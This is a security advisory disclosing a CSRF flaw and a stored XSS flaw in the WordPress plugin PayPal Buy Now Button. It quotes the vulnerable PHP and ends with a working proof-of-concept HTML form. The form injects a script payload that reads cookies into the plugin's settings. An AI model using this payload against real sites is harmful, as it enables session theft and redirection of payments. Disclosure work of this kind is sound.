12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.